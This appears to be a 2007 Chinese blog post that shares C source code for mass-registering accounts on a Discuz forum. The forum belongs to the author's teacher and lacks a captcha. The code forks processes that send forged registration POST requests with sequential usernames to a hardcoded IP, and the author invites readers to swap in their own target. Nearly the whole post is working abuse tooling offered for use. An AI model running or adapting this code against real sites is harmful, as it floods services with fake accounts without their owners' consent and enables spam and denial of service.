文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>一个简单的暴力注册Discuz论坛帐户的小代码。

一个简单的暴力注册Discuz论坛帐户的小代码。

时间:2007-04-18  来源:souldemo

昨天偶尔扫描一下,发现老师新做了个BBS. 是asp.net的(Discuz).
便上去注册了几下,发现没有什么验证码或者激活这类的防暴力注册的方法。
便写了这段小代码。可惜随度太慢。
但用于交流目的还是有一定帮助的。
如果谁喜欢,可以修改一下ip地址,拿回去试试。呵呵!不过速度很慢,
因为用不了多久服务器就会通告窗口大小为0.或许应该降低速度,反而
是服务器响应速度越快,注册的就越快。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include  <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <errno.h>
#include <limits.h>

void err_quit(const char* fmt, ...);
void err_msg(const char* fmt, ...);
void err_do(const char* fmt, va_list ap);
char *ltoa(long long val, char *buf, unsigned radix);

int main(int argc, char **argv)
{
    int sockfd;
    int serverport;
    struct sockaddr_in servaddr;
    ssize_t len;

    socklen_t addrlen;
    struct sockaddr *sa;
    struct sockaddr_in *sin;
    int n;
    int m;    
    pid_t pid;

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if (sockfd < 0)
        err_quit("socket failed!\n");

    memset(&servaddr, 0, sizeof(struct sockaddr_in));
    servaddr.sin_family = AF_INET;

    servaddr.sin_port = htons(80);
    /** change server's IP here **/
    inet_pton(AF_INET, "10.0.191.189", &servaddr.sin_addr);
    n = connect(sockfd, (struct sockaddr*)&servaddr, sizeof(struct sockaddr_in));

    if (n < 0)
        perror("connect failed!\n");

    for (m = 1; m < 10; ++m) {
        if ((pid = fork()) < 0) {
            err_quit("fork failed!\n");
        }
        else if (pid == 0) {    /** child **/
            int size = 0;
            char *str = "POST /register.aspx?agree=1&createuser=1 HTTP/1.1\r\n\
Host: 10.0.191.189\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,\
image/png,*/*;q=0.5\r\nAccept-Language: zh-cn,zh;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nReferer: http://10.0.191.189/register.aspx?agree=yes\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:345";

            char *body1 = "\r\n\r\nusername=";
            char *body2 = "&password=111111&password2=111111&email=sfsf%40163.com&submit=%E5%88%9B%E5%BB\
%BA%E7%94%A8%E6%88%B7&question=0&answer=&gender=0&nickname=&bday_y=&bday_m=&bd\
ay_d=&location=&msn=&yahoo=&skype=&icq=&qq=&homepage=&bio=&templateid=0&tpp=0&p\
pp=0&newpm=radiobutton&pmsound=1&showemail=1&newsletter=1&invisible=0&signature=\
&sigstatus=1\r\n\r\n";

            char seqstr[30];
            char sizebuf[4];
            char sendbuf[BUFSIZ];
            char recvbuf[BUFSIZ*4];
            long long int base = 10000;
            long long int seq;
            int bits =1;

            shutdown(sockfd, SHUT_RD);
            for (; bits < 10; ++bits) {
                for (seq = base *m; seq < base * (m + 1); ++seq) {
                    len =  strlen(str);
                    strncpy(sendbuf, str, len);
                    ltoa(seq, seqstr, 10);
                #ifdef DEBUG
                    printf("seq number %s\n", seqstr);
                #endif
                    size = 335 + strlen(seqstr);
                    ltoa(size, sizebuf, 10);
                    strncpy(sendbuf+len-3, sizebuf, 3);
                #ifdef DEBUG
                    printf("send : %s\t %d bytes\n", sendbuf, size);
                #endif
                    strncpy(sendbuf+len, body1, strlen(body1));
                    len += strlen(body1);
                    strncpy(sendbuf+len, seqstr, strlen(seqstr));
                    len += strlen(seqstr);
                    strncpy(sendbuf+len, body2, strlen(body2));
                    len += strlen(body2);
                #ifdef    DEBUG
                    printf("\n%s\n", sendbuf);
                #endif
                    n = send(sockfd, sendbuf, len, 0);

                   /** you should remove all the incomeing data **/
                    recv(sockfd, recvbuf, BUFSIZ*4, 0);
                #ifdef DEBUG
                    printf("\n%s\n", recvbuf);
                //    sleep(5);
                #endif
                }
            seq *= 10;
            }
        }
    }
    pause();
}

char *ltoa(long long val, char *buf, unsigned radix)
  {
    char *p;   /** pointer to traverse string  **/
    char *firstdig;      /** pointer to first digit  **/
    char temp;     /** temp   char   **/
    unsigned long long digval;    /**  value of digit  **/
 
    p   =   buf;
 
    if   (val<0)   {
        /**   negative, so output '-' and negate  **/
        *p++ = '-';
        val = (unsigned long long)(-(long long)val);
    }
    firstdig   =   p;    /** save pointer to first digit   **/

    do {
        digval  = (unsigned long long) (val % radix);
        val /= radix;               /** get next digit **/

        /**   convert to ascii and store **/
        if (digval > 9) 
            *p++  = (char) (digval - 10 + 'a'); /** a letter **/
        else
            *p++ = (char) (digval + '0');  /** a digit **/
    } while (val >   0);
 
    /** We now have the digit of the number in the buffer,
      * but in reverse order. Thus we reverse them now
     **/

    *p-- = '\0';  /** terminate  string;  p points to last digit **/
    do {
          temp = *p;
          *p = *firstdig;
          *firstdig = temp;  /** swap *p and *firstdig **/
          --p;
          ++firstdig;   /** advance to next two digits **/
    } while (firstdig < p);   /** repeat until halfway **/
    return buf;
}

void err_quit(const char* fmt, ...)
{
    va_list ap;
    va_start(ap, fmt);
    err_do(fmt,ap);
    va_end(ap);
    exit(1);

}

void err_msg(const char* fmt, ...)
{
    va_list ap;
    va_start(ap, fmt);
    err_do(fmt,ap);
    va_end(ap);
}

void err_do(const char* fmt, va_list ap)
{
    int save, n;
    char buf[BUFSIZ+1];
    save = errno;

    /** some systems haven't got vsnprintf, but this isn't a problem on popular platforms **/
    vsnprintf(buf, BUFSIZ, fmt, ap);
    n = strlen(buf);
    snprintf(buf+n, BUFSIZ-n, ": %s", strerror(save));
    strcat(buf,"\n");
    fputs(buf, stderr);
    fflush(stderr);
    return;
}

 
相关阅读 更多 +
排行榜 更多 +
周五夜放克坦克兵

周五夜放克坦克兵

休闲益智 下载
路边估车王

路边估车王

休闲益智 下载
妖兽归来

妖兽归来

冒险解谜 下载